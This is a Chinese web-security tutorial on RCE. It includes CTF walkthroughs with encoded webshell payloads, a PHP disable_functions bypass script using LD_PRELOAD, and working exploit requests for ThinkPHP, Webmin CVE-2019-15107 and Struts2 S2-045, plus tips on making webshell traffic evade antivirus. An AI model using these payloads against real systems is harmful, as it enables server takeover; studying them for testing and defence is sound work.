web安全RCE代码命令执行&PHP&PY&JAVA
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全RCE代码命令执行&PHP&PY&JAVA相关的知识,希望对你有一定的参考价值。
一、RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
二、代码执行&命令执行
首先演示一下php代码命令执行它的产生环境以及漏洞成因
eval() 函数把字符串按照 php 代码来计算
第二行代码表示输出字符串,但是第一行eval函数把echo当成php函数去执行,这里的echo字符串就变成了函数echo,所以eval就导致了命令执行。
再看下面通过GET传参的方式赋值给变量code,从eval函数去执行变量code,就造成了命令执行
那么php命令执行漏洞利用函数就有
eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等
system、shell_exec、popen、passthru、proc_open等
利用漏洞写入文件代码如下
<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "Bill Gates\\n";
fwrite($myfile, $txt);
$txt = "Steve Jobs\\n";
fwrite($myfile, $txt);
fclose($myfile);
?>
我们把这段代码弄到一行get传递过去,就可以看到写入的文件
Python代码命令执行
python也存在远程命令执行那么web开发框架比如有Django、Tornado、Flask、Twisted等
这里演示python执行系统命令
简单的eval函数代码执行过程
那么漏洞利用函数有以下这些
eval exec subprocess os.system commands等
JAVA代码命令执行
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等。
三、代码命令执行,未知漏洞利用
还是通过靶场演示 BuuCTF[ACTF2020 新生赛]Exec-黑盒
打开靶场看见很明显的系统命令执行,应该就是考察的系统命令执行漏洞,那么我们先ping一下
通过一写fuzz测试,发现是linux系统,那么再利用漏洞特性,用逻辑符号、管道符号进行连接即可
参考:https://blog.csdn.net/liucy007/article/details/90209277
在根目录发现flag,直接cat 就可以了
BuuCTF[极客大挑战 2019]RCE ME-白盒
打开靶场,发现是一段php代码,就要进行代码审计
参考师傅们的博客
https://www.cnblogs.com/yunqian2017/p/13308599.html
https://blog.csdn.net/mochu7777777/article/details/105136633
这段php代码,首先看到eval函数说明存在代码执行,然后从头开始看大致就是接受一个get传参的方式获取code,变量code的长度不能超过40,且正则过滤了大小写、数字,满足条件就当做php执行并且不报错
可以用异或或者取反绕过,异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。
参考 https://www.cnblogs.com/yunqian2017/p/13308599.html
参考完事之后上payload,这里直接用取反urlencode编码绕过
php -r "echo urlencode(~'phpinfo');"
得到:%8F%97%8F%96%91%99%90
payload: ?code=(~%8F%97%8F%96%91%99%90)();
这里加() 是因为phpinfo();后面跟上的 (~%8F%97%8F%96%91%99%90) 这里面的话就是取反为phpinfo
禁用的函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped
,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_get_handler,pcntl_signal_dispatch,
pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,
pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,
pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,
exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
可以看到这里是一些被禁用的系统函数,先构造个Shell一句话木马连上康康
payload如下
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[cmd]))';
$d=urlencode(~$c);
echo $d;
?>
最终playload ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
然后上蚁剑进行连接,在根目录下发现flag,但是执行命令的函数都被禁用了
然后我们先看预期解法,一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
这里的话都过滤的比较多,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令,通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考大佬们的博客:
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html
在/var/tmp/目录存在上传权限,上传我们的exp
exp地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
然后需要构造一个新的payload,根据“?code=${GET}_;&=assert&_=eval($_POST['a'])”
,使用的是异或绕过,
最终的payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);
&_=assert&__=include(%27/var/tmp/shell.php%27)&
cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
第二种解法使用蚁剑的插件
四、代码命令执行,已知漏洞利用
Thinkphp v5.0.22远程命令执行漏洞
ThinkPHP 是一款兼容性高、部署简单的轻量级国产PHP开发框架。,由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,攻击者构造特定的恶意请求,可以直接获取服务器权限。受影响的版本包括5.0和5.1版本。当前这个漏洞影响ThinkPHP <=5.0.22版本。
参考 https://blog.csdn.net/qq_36241198/article/details/114779477
POC
?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
Webmin 远程命令执行漏洞(CVE-2019-15107)
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。据统计,互联网上大约有13w台机器使用Webmin。当用户开启Webmin密码重置功能后,攻击者可以通过发送POST请求在目标系统中执行任意命令,且无需身份验证。
参考:https://blog.csdn.net/whatday/article/details/106978162
复现参考链接中的数据包是不对的,经过阅读代码可知,只有在发送的user参数的值不是已知Linux用户的情况下(而参考链接中是user=root),才会进入到修改/etc/shadow的地方,触发命令注入漏洞。(一定要https访问哟)
POST /password_change.cgi HTTP/1.1
Host:xxx.xxx.xxx:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
struts2 s2-045远程代码执行漏洞(CVE-2017-5638)
Apache Struts 2被曝存在远程代码执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
参考:https://blog.csdn.net/qq_36241198/article/details/114871702
执行命令exp
%{(#wm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#wm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#wm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
可以根据exp看到它这个漏洞在利用的时候引用OGNL表达式调用的命令执行
漏洞复现随便上传文件,然后抓包在修改HTTP请求头中的Content-Type值来触发该漏洞
五、后门工具控制&功能绕过原理
我们先正常在网站写入一句话木马用菜刀连接
然后使用WSExplorer1.3进程抓包工具
这里可以抓到菜刀代码执行的过程以及参数
选取一部分数据进行base64解码,发现其中不少是系统命令进行文件管理,具体原理就是把这个代码封装到按钮中进行执行,实际上就是通过eval函数进行命令执行,所以要进行绕过、变异就是更改这个流量数据包,不更改的话默认就是这个base64传输的一个特征,就容易杀软被拦截到。
以上是关于web安全RCE代码命令执行&PHP&PY&JAVA的主要内容,如果未能解决你的问题,请参考以下文章